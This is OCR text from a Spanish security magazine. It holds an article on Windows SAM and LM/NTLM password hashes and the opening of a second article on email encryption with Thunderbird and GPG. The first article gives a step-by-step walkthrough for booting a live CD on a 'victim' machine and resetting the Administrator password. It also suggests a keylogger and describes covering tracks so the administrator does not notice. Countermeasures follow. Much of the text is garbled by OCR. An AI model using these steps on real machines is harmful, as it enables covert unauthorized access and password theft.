Asi pues, las contrasefias como
método de autenticacidn de usuarios
han ido evelucionando con respecto
a su segundad, ¥ la vez también lo
han hacho las tecnicas matematicas
que explotan estos mecanismos de
autenticacién para obtener dichas
contrasefias.

Existen wvarios ideales que
comesponden al uso correcto @
incomrecto de las contrasefias. La
atencion del problema parece cen-
trarse en que estas deberian ser
dificiles de advinar por otros, pero
a la vez ficiles de recordar para el
usuario legittmo. En muchas oca-
siones, esta recomendacién reta las
capacidades de las personas para
memarizar adecuadamente contra-
selflas seguras y extensas.

Mucho se ha aconsejado sobre
el uso de contrasefias de cierto nu-
mero de caracteres cuya longitud
determina un mayer o menor grado
de seguridad, regla que se aplica
con eficacia si se intenta adivinar
la contrasada a ravés del uso de la
fuerza bruta, pero sl una contrasefia
de una longited considerable Incor-

Figura 3. A43 File Managment Uity

pora solamente numeros o letras
tampeco seria considerada como
segura

Existe una doble via de res-
ponsabilidades para implemeantar
contrasefias seguras. Le deberia
comesponder al usuano conocer e
utilizar los consejos de seguridad
para implementarios en sus pro-
pias contrasefas, y al creador del
mecanismo establecer las politicas
necesarias gue impidan gque una
contrasefia sea potencialmente in-
segura

En resumen, en el manejo de
contrasefias lo mas adecuado es
tratar de obtener un equilibric entre
seguridad y conveniencia.

SAM (Security
Account Manager)
En el archivo SAM podemos en-
contrar las contrasefias de inicio de
sesion utilizadas en los sistemas
Windows XP, 2000, NT y alimamen-
te en Vista, Una de sus funciones
principales es almacenar dichas
contrasefias de inmicic de sesion
para todos los usuarios dal equipo
La ubicacién del Secunty Account
Manager en los sistemas Windows
Vista la podemos encontrar en la
Figura 2.

El metodo de autenticacién de
usuario utilizado por Windows aln

58 basa en la asignacion de con-
trasefias. Sin embargo, esta meto-
daologia ird derivandoss hacia una
autentificacién mas fuerte, como
por eemplo hacia el uso de smarf
cards o tarjelas inteligenfes, cuya
implementacion y soporte ha estado
disponible desde Windows 2000,

El archive SAM permanece en
constante uso por el sisterna opera-
tivo, caracteristica que le brinda un
cierto grade de seguridad, ya que
hace imposible para cualquier usua-
rio del sistema eliminarko, leerlo,
copario, o moverlo, aungue en este
articulo aprenderemos a hacarlo sin
que &l administrador del sistema se
percate de ello, salvo que sea fiel
lector de nuestra publicacion

La primera impresion que mu-
chas vaces se tiene sobre el archivo
SAM es su seguridad y confiabilidad.
Sin embargo, si un atacante obtiene
acceso fisico al sisterma, la seguridad
de este archivo, gue cifra las contra-
safias de los usuarios mediante la
generacidon de hashes, es bastante
cuestionable. De hecho, algunos
expertos en seguridad informdtica
congideran la existencia de este
archivo como una vulnerabilidad es-
pecifica de los sistemas operativos
Windows.

Los sistemas Windows almace-
nan cada contrasefa de usuario @n
al archiva SAM mediante hashes
de manera que la bldsqueda de una
contrasefia en lexfo plano dentro de
aste archivo no tendra éxito, ya que
realments lo que & almacena os el
hash de dicha contrasefa y no la
propia confrasefia

El archivo SAM

en Windows XP

Windows XF almacena en el SAM
las confrasefas de sesion que con-
tienen menos de 15 caracteres en
hashes LAN Manage!. Esta arguitec-
tura de autenticacidn de usuario fue
desarrollada hace wveinte afos para
su uso con Microsoft LAN Manager.
Tomando en cuenta la época en que
fue desarrollado LAN Manager y la
evolucian de los atagues hacia él, es
comprensible que este sistema de
autenticacién ya no sea considerado

www. hakin®.org
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segure. Sin embargo, LAN Manager
fue implementado en Windows XP
como opcidn predeterminada por
cuestiones de compatibilidad con
versones antenores del sistema.

En la actualidad existen dos vul-
nerabilidades graves en el hash de
LAN Manage. La primera consiste
en que las confrasefias mayores
de 7 caracteres se dividen en dos
partes, las cuales crean haghes por
separado. Esto permite descifrar
dichos hashes individualmente, y de
esta manera, se minimizan las posi-
bilidades do descrifar un hash de 14
caracteres a justaments la mitad,
QOriginalments serian 284 combi-
naciones diferentes de caracteres,
pero de este modo se reducen a 242
pasibles combinaciones par hash. Al
reducirse estas combinaciones, el
atacante obtiene una probabilidad
mayor de descifrar la contrasefia.

La segunda wvulnerabilidad de
LAN Manager consiste en que,
debide a su compertamiento, antes
de comeartir a hash las contrassefias,
LAN Manager corvierte todos los
caracteres de la contrasefia a ma-
yusculas, reduciendo asi el numero
de posibles combinaciones de ca-
racteres por hash a 236

Otro de los puntos débiles de
LAN Manager es que durante la
conversion de confrasafas no utiliza
un proceso de hashing aleatorio, co-
nocido como sall. Las primeras ver-
siones de Unix ya usaban un salf de
12 bits. A través de este proceso se
crea una cadena aleatoria que se ci-
fra conjuntaments con la contrasefa
que sera uthzada durants el proceso
de autenticacibn. La finalidad del
mencienade sall es la de incremen-
tar el nimero de probabilidades que
tiene un atacante para adivinar la
contrasefa y asi conseguir que sea
mucho mas dificil descrifrarla.

La arguitectura LAN Manager no
obtiens la clave de ningun otro lugar,
sino que toma la misma contrasefa
como clave para crear el hash De
esta manera, establece cierta au-
tonomia en relacion a su funciona-
miento. Por ello, también se pueds
conocer al hash LAN Manager como
OWF, One Way Funclion o funcidn

de un sdle sentido, puesto que no
incorpora una clave secreta sino que
la propia contrasefa asignada por el
usuario lo es.

Microsaft incorpord  en  sus
sisternas una utilidad denominada
Syskey para reforzar la seguridad
de las contrasefias motivado por
los fallos encontrados en los hashes
LAN Manager. Syskey permite cifrar
informacion almacenada en la base
de datos del SAM protagiéndeolo a la
vez contra ataques realizados desde
un sistemna operative alternative. Es-
ta utilidad la podemos encontrar en
la ruta del sistema %sysfemrootfs)
system32. Syskey entonces ge-
nerara una clave aleatoria utilizada
para cifrar los datos del SAM.

Las nuevas opciones de segu-
ridad en el uso de contrasefas que
incorpora  Syskey se resumen en
tres métodas (Figura 1). Estd utilidad
viene activada de forma predetermi-
nada en Windows 2000, Windows
2003 y Windows XP y una vez acti-

veda no es posible desactivarla. En
esta articulo se demostrard como es
bastante sencillo desactivar o evadir
las protecciones gue incorpora este
utilidad en cuestion de segundas,

Mo existe futuro para la autenti-
cacion de contrasefias a través de
hashes LAN Manager. Los progra-
mas usados para realizar atagues
por fuerza bruta, diccionano, tablas
rainbow, elc., consiguen obtener las
contrasefias LAN Manager en cues-
tien de segundos.

SAM en Windows Vista

La autenticacion de usuario en Win-
dows Vista se ha reforzade con el
fin de incorporar mas seguridad, En
versones antenores, @l principal mé-
todo de autenticacion era el uso de
contrasefias, sin embargo en Win-
dows Vista se incorpora el uso de
tarjetas inteligentes o smart cards,
copias de seguridad de nombres de
usuario y contrasefias, compatibili-
dad mejorada con SSL/TLS, soporte

Tabla 2. Renovando la contrasefia de la cuenta administrador de equipo

I EETE

Renew existing user password
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del protocolo Kerberos y Last Login
Time entre otros. Asi pues, puede
considerarse que la autentcacidn de
usuario en Windows Vista se ha me-
jorado bastante mediants la incorpo-
racién de estos factores adicionales.
Los motivos que dificultaban la utili-
Zacion de estos métodos de auten-
ticacién en versiones anteriores de
Windows se debia a la necesidad
que terian los administradores de
madificar la imterfaz GINA (Graphical
Identification and Authenticalion)
y costear al mantenimiento de los
componentes necesarios de la infra-
estructura paravpor ejemplo, tarjetas
inteligentes y demds mecanismos,
barreras que han desaparecido en
Windows Vista, debido a la nueva
arquitectura del sisterma de autenti-
cacion de usuanos.

En esta nueva version, la arqui-
tectura LAN Manager permanece
deshabilitada de forma predetermi-
nada para dejar paso al uso exclu-
sive de NTLM, al cual también se
pratende abandonar en un futuro no
muy lejano.

La primera incorporacion de NT-
ML fue en Windows NT versidn 3.1
¥ nacidprecisamente por la evidente
carecia de seguridad de LAN Mana-
ger en los sistemas NT

La arquitectura de NTLM esta
basada en el cifrado de hashes ma-
diante MD4, el hash de 16 bits que
consiste en la conversion de la con-
trasefia de fexto plane a una cadena
de caracteres. Este mecanismo,
como sabemos no es precisaments
el mas robusto, pero las caracte-

risticas del SAM en Windows Vista
si lo son, aungue esto no evita que
un atacante, en este caso nosolros
mismos, inicie el sistema desde un
Live-CD y modifique o desactive la
confrasefas de administrador,

Si se desea incorporar un gra-
do mayar de seguridad al método
de autenticacién WTLM, es posible
utilizar mecanismos adicionales,
mediante el uso de NTLM version 2,
que nos permite utilizar MDS v SHA-
1 ademas de ser compatible con el
protocolo Kerberos.

Sin embargo, la tendencia de
uso exclusive de las contrasefias
de usuario come se ha venido ges-
tionande Ultimamente no desapare-
cera en un corto espacio de tempo.
Quizds es por ello que el nuevo sis-
tema operativo de Microsoft adn es
compatible con la arquitectura LAN
Manages, Onicamente por cuestiones
de compatbilidad con wversiones
anteriores, aunque uliliza NTLM en
el proceso de autenticacién de usua-
rios de forma predeterminada.

jA Practicarl

Si un atacante obtiene acceso fisico
al sisterna y consigue la base de da-
tos donde s encuentra cifrados los
hashes de las contrasefias indepen-
dientermenta del sisterna o versién
de cifrado utlizado (LAN Manager
o NTLM), podra oblener en fexto
plano las contrasefas de adminis-
traciin del mismo haciendo uso de
técnicas de descifrado o cracking de
conlrasefias. Con dicha contrasefa,
ol atacante podrd iniciar sesién en al

Seloci o lask
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Figura 5. Reseteando la confrasefia
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sistena como usuario Administradaor,
obteniendo los privilegios asocia-
dos con la cuenta, Aungue también
podra realizarlo de un modo mas
ingenioso,

El termine cracking de contrase-
fias significa la recuperacion en fexto
plano de contrasefas cifradas me-
diante hashes Esta tipo de técnicas
pueden ser usadas por el administra-
dor del equipo que haya olvidado su
contrasefia de acceso o también por
un atacante que pretenda realizar
una escalada de privilegios.

Sin embargo, existen otros mu-
chos medios mediante los cuales
se pueden obtener contrasefias de
forma ilicita, come por ejemplo me-
diante ingenieria inversa, frashing,
spoofing, etc.

Tode mecanismo para conseguir
privilegios de administrador en un
sisterna presentard sus respectivas
ventajas y desventajas, las cuales
conoceramos mas adelante.

Escalada Real

Fara realizar esta practica, necesi-
taremos conseguir previaments un
par de hemamientas muy utiles y
configurarias adecuadamente. En
primer lugar, debemos descargar la
ultima versidn de PE Builder BartPE,
que nos ayudara a crear un GO au-
toarrancable compatible tanto para
Windows Vista como para Windows
2000/XP/2003.

Una wvez descargada la ultima
versiin de la mencionada utilidad,
debemos crear desde nuestro equi-
po &l CD autoarrancable. Para ello,
basta solamente con seguir las in-
dicaciones que aparecen en el sitio
oficial de BertPE (hifpwww.nu.nu/
pebuilder/) y en pocos minutos ten-
dremos nuestro CD autearrancable
creado, el cual incluye una interfaz
grafica de sisterma y multitud de fun-
cienes y herramientas.

Tambien debemos conseguir la
herramienta Sala’s Password Renew
que nos ayudara a borrar y crear una
nueva contrasefia de la cuenta Ad-
mimistrador en el equipo,

Acto seguido, accederemos a
la cuenta de invitado en el equipo
wvictima y copiaremos la utilidad para
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resatear contrasefas anternormente
mencionada en el directorio de do-
cumentos del usuario invifado, Una
vez hecho esto, colocamos el CD
con el sisterna BartPE autoarranca-
ble dentro de la unidad de CD-Rom
y reiniciamos el equipo, Tras unos
momentos, la Interfaz grafica del
sislema se iniciara.

Ahora no deberia preoccupar-
nos las restriccionas que teniamos
para manipular el archivo SAM del
sistema vicima. Gon BartPE ejecu-
tandose, estamos fuera del control
del sistema victima y podemos
manipular cualquier fichero que se
encuentre en su disco duro sin nin-
gln problema.

Hacemos dic en el Mend Go >
Programs > Ad43 Fie Managrment
Uity (Figura 3). Al abrir esta utilidad
veremos un drbol jerdrquice con uni-
dades de disco y directorios similar
a nuestro explorador de Windows. El
sisterna creara una wnidad de disco
temporal llamada BertPE y le asig-
nara la unidad X'1. Buscaremos y co-
piaremos entonces los archivos SAM
y SYSTEM, localizados en en la ruta
Clwindowslsysfen32\Config (Figura
4). Después crearemos un directono
de respalde llamado C:\Sam-criging”
y copiamas los archives mencionados
en dicho directorio.

Una wvez creados los archivos
de respaldo de los archivos SAM y
SYSTEM originales, nos dingiremos
al directorio donde hablamos copia-
do la herramienta Sala’s Password

Renew y ejcutaremos el archivo
PasswdRenew. exe. Al ejpecutar es-
ta herramienta, deberemos seguir
los pasos descritos (Tabla 2). Al
realizar la modificacion de contra-
sefia satisfactoriamente seremos
natificados (Figura 5). Aungue dicha
notificacidn nos advierte que ésta se
ha realizado sobre un sisterna NT,
sobreentendemos que se Irata de un
sistermna Vista.

Apuntamos entonces la nueva
contrasefia establecida para la
cuenta Administrader del equipo vy
en BartFPe nos dirigiremos a GO =
Shut down > Restart, con lo que es
sisterna se reiniciard. Acto seguide,
retiraremos e CD-ROM de la wni-
dad.

Tras iniciarse Windows Vista se
nos pedia la contrasefa de acceso a
la cuenta de Administrador del equi-
po. Escribimes la nueva contrasefia
que establecimos anteriormente
con la herramienta Sala’s Password
Renew y listo, hemas iniciade sesion
en &l equipo como administrador y
con todos los privilegios. Ahora te-
nemos a nuestra entera disposicién
el sisterna. Lo que hagamos como
atacantes teniendo privilegios de
administrador depende de cada uno.
Podemas configurar el antivirus, el
cortafuegos, afadir o eliminar usua-
rios, instalar aplicaciones, escribir en
cualquier clave del Registro de Win-
dows y un largo etcétera que depen-
derd de la creatividad del atacante.
5Si lo que deseamos es saber exac-

Confirmar el reemplazo de archivo

por aste plro?

==

X
Esta carpata ya contisna un archiva con o nombre "SAM",
{Desen resmplazar & archivo existents
256 KB
@ modificado; sbado, 17 febrero, 2007, 23:53:41
256 KB
modificado: sibada, 17 febrer, 2007, 2353141
Satedo | Mo Cancetar |

Figura 6. Sobreescribiendo el SAM por el original

tamente cual s la contrasefa dal
usuario Adminisirados, podriamos
instalar un keylogger para detectar y
guardar en un archive de registro las
pulsaciones de teclas que se presio-
nan cuando el usuario introduce su
confrasefia durante el proceso de
autenticacidn en &l equipa

Para terminar con &l objetivo que
nos llevd a escalar privilegios y acce-
der a la cuenta del usuano Adminis-
trados debemos concluir la practica
correctaments. Para ello, todavia
como administrador del sistema,
colocaremos nuestro CD autoarran-
cable BartPE en la unidad de CD-
Rem y reiniciaremos nuevamente
el equipe. Una vez cargade BartPE
en memoria, deberemos dingimos
a la ruta CASAM-original y copiar
nuevamente los archvios SAM y
SYSTEM en su ubicacidn original
en la ruta CAWindowslsystem32|
Config, sobreescriblendo los que
habiamos manipulado anterorments
y dejandolo todo en parfecto estado.
Por ulimeo, reiniciaremos ¢l equipo vy
retiramos nuestro CD BartPE. Tar-
minaremos nuestro trabajo iniciando
de nuevo la sesidn, pero esta vez
como usuare Invitade y borrare-
mos los directorios que habiamos
creado en las rutas CASAM-original
e Invitado\Documaentos\Salas Pas-
sword Renew.

Cuando el administrador del
equipo regrese, intentard acceder a
su cuenta y todo marchard normal-
mente. Lo dnico que el administrador
desconoce es que su contrasefa, ya
descifrada, se ha enviade a nuestro
buzdn de corree electranico.

Escalando Prlvllegius
por otros métodos
Obtener la base de dates o archivos
que contienen las contrasefas cifra-
das del sisterna mediantes hashes
o8 bastante sencille usands un CD
autoarrancable, tal y como hemos
aprendido en esta practca. Algunas
veces no tendremos al iempo nece-
sario para modificar la contrasefia
dal administrader, iniciar sesion en la
cuenta, realizar el ataque, restaurar
las archivos ariginales y por dltime
verificar que todo ha quedado como

wwiw. hakin®.org
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Tabla 3. Venis de labiss pregensrades en Intemel

Izﬂlzﬂlzﬂ_

E10 M

N:)Ghz.'ﬂi
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24 Gb.

enies. Estn es una notable desvents-
j qus presonta asts método, Muchas
whCEs 85 preferible conocer 3 con-
trasefia del edministrador del equipo
a0 lugar de resebearks, v que Existe
la posbilidad de gque ol admircsirader
uilice su contrasea para iniciar se-
sidin o pestionar vanas estacicnes de
trabajo. Do asta modo, &l conocer by
contrasefia de un equipo, podriamos
RET ACCRGD & OAEE ARERCIOMNEE OB
trabajo mds importantes. Tambign
oomy o LR PLC [
la posibildad de perder datos cifra-
dos a traves del sistema de cfrado
nativo de Windows EFS 0 a s
de Biflocker por hacer realizado un
cambic de contrasefa, aungue de
indos modos, esto o3 poco probable
U SEUFTE,

Las vertajas de escalar privile-
gios usando este método Son vanas,
Indd dntemente do las

14821788

P4 2 BGhs 1
Gb.

desventaja de este ataque os que se
NECHSIE MUcho DEMps pars nealizar
esta comprobacion. Por ejemplo, el
tompo de descifrado de una con-
rasahs de 14 & alin
fusrza bruta pusde exiendanss hasta
al infinfo. Adn asi. Es recomandabls
probar la uilicad Proective Password
Aucitor soporta el uso de fuerza
bruta para la sncriptacidn NTLM &n
Windows Vista (Figura T}

Adivinssidn
Muchos vsuarios actuan con negli-
pencia &l mo cambiar las contrase-

Framas Ssefados pars realizar esla
funcion

Atague de DHoclonario
Este tpo oo slaque aprovechs e
wndencia de utiizar contrasefas
PoCO SegurEs. LOS programas que
fealizan atagues de  diccionano
[ ﬂm| incorparan listas de
palabras con miles o milones de
tragafas.  Estas  palab =0
comparan una a una con &l hash de
la contraselia real hasta enconiar
una coincidencia. Tomando en cuen-
t las tendencias de los usuarios de
acomodarsy  usands  contrasafas
poco seguras, las probabildades de
dxito de esle milcde op Alaque son
bastante elevadas.

Atagque Rainbow

El A% und

de descirado de hashes que wilize

wblas de hashes caloulados pre-

vamente, Bmbsn llamadas feblas

Rainbow, de mansra qus todos los

passwords se cangan en memona

¥ s comparan con los hashes que

q denilrar an
la 2 en

fiars que vienen cond las on bos
sstemas de lerma predeterminsds,
Asl pues, un atacante podria crear
84 propio software pare probar com-
binaciones posibles de contrasefas
hasts adivingd |3 que paniensce ol
sisioma. Duante décadas de in-
stipacién se ha demostrado que

hmbgﬂl de cifrade que vayan
Bpanecirdsc, poONEmos Segue fo-
nisndo acceso a la cuenta ded ad-
mirsstrador del equipe que &8 lo que
nos interesa usando la metodologia
empleada en ests pricica.

Escalar privilegios mediants
ticricas de password cracking ob-
teniendo las contrasefas de admi-
nistracin del equipo se puede lograr
por medo de vanos mdledes de
alEgQUE QUE PASATEMOS @ GNUMETar
a continuacién:

Fuarra Hruta

En tworla, este miéfodo es cian por
cian afsctive, ya que condishs an
probar tedas las combinacionss po-
sibles de caracterss de una contra-
safia hasta encontrar la comecta. La

alrededor dal ciarents por cieno
de los usuarics utiizan contrasefas

que pusden ser adivinadas por pro-

I obiencidn de resultados. Estas
tables Rainbow se pusden generar
con &l use de programas especiica-
marie destinados para ello, aungque
PERErar und tbla de eslas CaNaG-
inristicas consume muche tempo
de CPU y ocupan mucho espacio
an disco. La ventaja a8 gua pusdan
c takias on In-
tornet (Tabla 3.

P
Hash

Smart Card
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Ejemplo = El Hash de una contrasefia
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Figura 7. Crackeo de NTLM pars Windows Vista

Contramedidas
Evitar el ataque realizado por una
PErSONG quE CUBNME CON BCoESo fisi-
co al equipo utilizando las herramien-
tas adecuadas es bastante dificil, y la
respuesta es relativa; dependerd del
presupuests que s& esté dispuesto a
invertir para mantener los sistemas
Informdéticos seguros contra ésie ti-
po de ataques y de la importancia de
los datos almacenados en el siste-
ma. Asi, un usuario estindar posese
una seguridad estindar y un usuario
avanzado, una seguridad avanzada.
Una medida da proteccion efi-
caz que se puede implemantar con
facilidad contra el tipo de atague ex-
puests en estd practica consiste en
asegurar el inicio del sisterna esta-
bleciendo una contrasefia de segu-
ridad en la BIOS {Basic Input/Ouput
System) durante ol inicio sesidn y
deshabilitando adem3ds e inicio dal

sistema desde otras unidades de
almacenamiento, dejando el disco
de sistema como Unica opcidn de
arranque. De todas maneras, es po-
sible pvader la profeccion medianie ol
establacimients de una contrasefa
en la BIO35 desconectando |a pila de
la CMOS de la placa base, aunque
en la préctica es una solucién po-
co discreta y lenta. En los sitemas
Windows, una mededa de seguridad
factible y efectiva seria configurar la
utilidad Syskey para que al inicio del
SiSleMma requera una accién por par-
ter del usuario (Figura 1)

En el nuevo sistema operativo
de Microsoft las posibilidades de
establecer una autenticacidn segura
s& incrementan debido a la nueva
estructura del Securty Account Ma-
nager (SAM). Una de las contrame-
didas factibles para evitar el tipo de
atague realizado en ésta practica se-

Sobre el Autor

Wistor Ldper Jusrez ob astudiante do la Universidad Rafael Landvar do Gustomala
Lo inbéresan lod diverscs lormas scbie saguidad infarmibea v podas uha cartificacsan
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ria configurar adecuadamente |a he-
rramienta que viene incorporada en
Windows Vista basada en ol sistema
estandar de encriptacion Advanced
Encryplion Sfandar o (AES) llamada
BitLocke:. Haciendo uso de las opcio-
nes de autenticackin incorporadas
en Biflocke, es posible establecer
una autenticacidn por medio de un
dispositive USE que se conecte al
equips durantes el inicio del sistema, o
bien, se puede gestionar la autentica-
cidn & través de la combinacién entre
¢l Trusted Flataform Mode (TPM) v la
Nave de autenticacidn guardada en el
dispositiva USB.

También es aconsejable progrs-
mar peribdicaments analisis exhaus-
tvos de los sistema con el fin de
detectar posibles intrusionas yifo ma-
dificaciones en archivos importantes
del ssterna, como en este caso, en
los archivos SAM y SYSTEM.

Espero que este texto les haya
alertado sobre la facilidad que tiens
cualguier amcante para burlar los
mecanismos de auienticacion  de
usuanos gue utiizan 8 mayoria de los
sistemas Windows mediante el uso de
herrarmientas al alcance de cualgueer
persona y con las que se puaden
oblener los mayores privilegios en
el sisterna mds seguro de odos los
tiempos. Microsoft Windows Vista, @

wani, haking,arg
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Protege tu correo con
Thunderbird, GPG y

Enigmail

José Maria Gamez Hidalg [

rpte de giloulled
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Cada dia, cientos de millones de mensajes de correo electrdnico
viajan por la red. Estos mensajes viajan en ablerto, es decir,
cualguiera con un minimo de interés, tiempo y dedicacidn, podria
inspeccionar su contenido, aunque dsta sea una actividad ilegal.

ﬂ difarancia de las cartas de comeo pos-
tal, que wiapn dentro de Sus conmespon-
disries scbres, los mansajes de comeo
slectrinico se parecen mds a postales que
cualquiera puede lesr
Oiviamente, no iodos los mensajes contie-
Tl LING IFiSTNSCcdn TR St QU MareDER Sl
profegida con complejars hemamients de afrado.
Parg s rats g urd cLslon bdaica de privac
dad Major eviternos sl pecado evitando la tents-
cifn. &Y porqud los mensajes viajan an shisra,
expuesios @ la becturs por parte de cualguier
agente deshonesto? Porque por defnicion,
las profocolos de gestidn y fransmisién de
coreo electrdnico, como el SMTP (Simple
Maid Transfer Profoced), ol FOF (Poal Offce
Protocel) y ol IMAP (Infermet Message Accoss
Protocol), son no ssguros. En su creacedn sn
1971 por Ray Tomlinsen, & cofmed elecironi-
6 fue concebido como wna herramienta de
transmisién de informacian ablerta y simple, y
come T s & multples farmas
de abusd, La mas @mportants hoy an dia 88
ol correo basura o spam, gue s envia en tal
cantidad que estd llegande a poner en pelkgro
asta valiosa harramianta de comunicacién El
cormea basura no deja de ser un abuso de pri-

wwres Rakind arg

wvacidad, la de la cuenta de cormeo del usuaria,
como también lo &3 la nspecciin no consent-
da de mensajes de cormes

En este articulo preftendemos explicar, a nivel
de usuario, como funcionan el cifrado y la firma
i Cormed batbdos on sistemas de cline pibEca,
¥ obmeo realizar una proteccidn efcaz del cormen
propio usando estas Wonicas y herameentas
bros sobre sislmas Mocrosoft Wandows. La
rardn principal por 1 que URAMOE ramsetas
libres es porgue el iempo ha demostrado que
s saguniced db UN ST CNpgrahos S0 50
logra a través de b exposcion piblica de sus
algoritmos. ¥ |8 Aperiurns de loS PrOgramas usa-

En este articulo aprenderas...

+  Ciemo cifear y descirar. y fiemar, mensajes de
comes secininics, de una fma simple, e
Wheddiras, y oon aywda de hamamientas Bees y
tickes de manegar,

Lo que deberias saber...

+  Corocamentos basicos de Microsofl Windoes y
S intersat, on ospocisl, del comes slecirdnicn




Prolege tu correo electrinico

dos, de modo que su inviolabilidad se
obtenga a partir de |a fortaleza tednca
de los algoritmos, ¥ no a partir de ia
ocultacion de informacidn.

Para demostrar las técnicas de
aseguramiento de correc electroni-
co, hemos seleccionado tres herra-
mientas de software libre de amplia
dizsponibilidad, y de un creciente
uso:

* El lector de correc usado es
Mozilla Thunderbird, una de las
aphcaciones de la familia Mozilla
(junte con el navegador Firefox,
y otras). Thunderbird es un lector
de correo plenamente funcional,
extremadaments potents, y muy
simple @ inluitva de mansjar
Thunderbird se distribuye bajo
licencia libre Mazilla Public Liean-
=8, ¥ la version utilizada en este
articulo es la 1.5.0.9

Alicia

As asdSR23

Olseneadar

El sistema de cifrado utilizado es
GnuPG (Gnu Privacy Guard), la
implantacitn ibre del estandar de
cifrada y firma de cormeo OpenPGP
(definido como tal en el RFC 2440
de la IETF — Internet Enginesring
Task Force de la Infermel Sociely
que &s la organizackin que vela
por la estandarizacion de los pro-
tocolos, formatos, etc. relativos a
Internet). GPG se distribuye bajo
licencia libre GNU General Public
License, y la version utilizada en
este articulo esla 1.4.6

La extension Enigmail de Thun-
derbird, que Incorpora una serie
de ments, formularios v ventanas
que permiten gestionar de una
manara mas amigable el uso de
GPG desde Thunderbird. Enigmail
se distribuye bajo licencia dual
Mozilla y GNU, y |la versson utiliza-
da en este articulo es 0.94.2.0
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Figura 1. Envio de mensajes en un sistema de clave siméltrica
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Figura 2. Envio de mensajes en un sisterma de clave asiméirica o pubhca

Con estas herramientas es posible:

¢+ Cifrar cormeos electrénicos co-
nociendo la clave publica de su
destinataria.

« Descifrar correos electrdnicos
enviados a nosotros, cifrados por
el emisor usando nuestra clave
publica.

« Firmar comeos  electronicos
usando nuestra clave privada, de
modo que el destmatario pueda
contratar la validez de la firma.

s \fgrificar la firma de correos en-
viados a nosotros por otro usua-
rio, usando su clave pablica.

+ (Generar pares de claves para
nuestras cuentas de correc
glectronico, administrarlas y di-
fundirlas a travées de servidores
especificos.

*  Mantener un sstema de gestion
de confianza en el correo elec-
trénico para nuestros contactos,
bazado en las claves GPG y su
modelo de confianza en red.

Discutimos todos estos aspectos en
|a% proximas Secciones.

Los sistemas de

cifrado de clave privada
La criptografia (del griego kryptos,
ocultal, y grafos, escribi, literalmente
escrifura ocults) es el arte o ciencia
de cifrar y descifrar informacidn
utilizando  técnicas matematicas
que hagan posible el intercambio
de mensajes de manera que sdlo
puedan ser leidos por las personas a
quienes van dirigidos. La criptografia
s& basa en el desarrollo de sistemas
cripiograficos. que son métodos o
algoritmos que permiten reakzar el
cifrado y descifrado en base a una
clave secreta.

La criptografia ftradicional o
criptografia simétrica (o de clave pri-
vada), utiliza una misma clave para
cifrar y para descifrar mensajes. Las
dos partes gque se comunican han de
ponerse de acuerdo de amternanc
sobre la clave a usar. Una vez que
ambas tienen acceso a esta clave,
el remiatente cifra un mensaje usando
dicha clave, lo envia al destinatario, y
éste |0 descifra con la misma clave.

wwiw. hakin®.org
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Este proceso se presenta de manera
grafica en la Figura 1

Un buen sistema de cifrado
pone toda le segurided en la clave
¥y ninguna en el algoritmo, En otras
palabras, no deberia ser de ninguna
ayuda para un atacante conocer el
algoritmo que se estd usando, Solo
si el atacante obtuviera la clave, le
sarviria conocer &l algorntmo

Existen mdiltiples sistemas de ci-
frado simétrico muy fiables, como los
algoritmos 3DES, Blowfish e IDEA.
Las computadoras modernas tienen
una capacidad de calculo que permi-
te atecar los sistemas criptograficos
por el mélodo de fa fuerza bruta, es
decir, probando multiples secuencias
de caracteres como candidatos a
claves, Para ser resistentes a dicha
potencia de calculo, estos sistemas
utilizan claves de una longitud sus-
tancial (128 bits). Por ejemplo. el
algoritmo 3DES o Triple DES es una
evolucidn desarrollada por IBM en
1978 para mejorar el algoritmo DES
(Data Encryption Standard), que usa
una clave relativamente corta (56
bits) ¥ que se ha probado que no es
resistente a ataques de fuerza bruta.

La principal debilidad de los
sisternas de cifrado simétricos es el
medo de intercambiar la clave, que
o5 al secreto sobre el que descansa
la privacidad de la comunicacidn, Si
la clave se transmite por un medio
ne seguro, soémo tendremos la
seguridad de que no ha sido com-
prometida?

Los sistemas de

cifrado de clave publica
La solucidn a este problema la apor-
ta la criptografia asimétrica o de
clave piblica. Este sistema usa un
par de claves para el envio de men-
sajes. Las dos claves pertenecen a
la persona que ha enviado el mensa-
2. Una clave es plblica y se pusde
entrégar a cualgwer persona. La
otra clave s privada y el propietano
debe guardarla de modo que nadie
temga acceso a ella, El remitente usa
la clave publica del destinatano para
cifrar el mensaje, y una vez cifrado,
sblo la clave privada del destinatario
podra descifrar este mensaje. Este

proceso se detalla de manera grafica
en la Figura 2.

Con las claves plblicas no es
necesanco que el remitente y el des-
tinatario se pongan de acuerdo en
la clave a emplear. Todo lo que se
reguiers es que, antes de inmiciar la
comunicacion secreta, el remitente
consiga una copia de |la clave pdblica
dal destinatario. Es mas, esa misma
clave plblica puede ser usada por
cualguiera que desee comunicarse
con su propietario. Las operaciones
de cifrado y firma se realizan del si-
guiente modo:

+« El remitente de un mensaje

utiliza la clave publica del desti-
natario del mismo, para cifrar el
mensaje. Sélo el receplor puede
leer el mensaje, porque sélo se

- TN

-ﬂ'r:ﬂlln

Pl s Pk bamsh

T

iBienvenido a Yahoo!

puede usar la clave privada com-
plementaria para descifrario.

* El remitente de un mensaje utili-
Za suU propia clave privada para
firmar un mensaj@. Fara allo,
extrae un resumen del mensaje
y lo cifra con su clave privada
incorporando la firma al mensaje.
El receptor verifica la firma des-
cifrando la firma aportada {con la
clave plblica del remitente), y en
paralelo, extrayendo el mismo re-
sumen mensaje del mensaje. Si
ambos resumenes coincidan, se
garantiza la autenticidad del emi-
sor y la integridad del mensaje.

Los algoritmos de cifrado asimétrico
s ulilizan funciones de un salo san-
tido que aprovechan propiedades al-
gebraicas o numeérncas, por epmplo,

[P p— &
L

Figura 3. Ventana principal de Mozilla Thunderburd, con el mensaje de
bienvenida de Correo Yahoo! para la cuenta hekind_test@yahoo.es

Figura 4. Resultado de la ejecucidn de la orden gpg — version an una
vernltana crmd, tras una instalacidn correcls de GnuPG

www. hakin®.org
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de los nimeros primos. La primera
funcibn en aparecer fue la de Diffie-
Hellman, en 1976, pero la que ha
sido un estdndar por su popularidad,
empleado hoy en dia en numerosas
aplicaciones, es RS54 (que debe su
nombre a las siglas de sus creado-
res, Rivest, Shamir v Adleman, que
o desarrollaron en el MIT en 19771,
Coma la mayoria de estos sistamas,
=0 basa en las propledades de com-
plejidad de la factorizacion de nume-
ros primos.

Los sistemas de cifrado de clave
publica tenen desventa@s respecto a
los de clave siméftrica, y de hecho, han
sido concebidos como complemen-
tarios. En particular, para una misma
longitud de clave y mensaje se necesi-
ta mayor tempo de proceso. Ademdas,
las claves deben ser de mayor tamafic
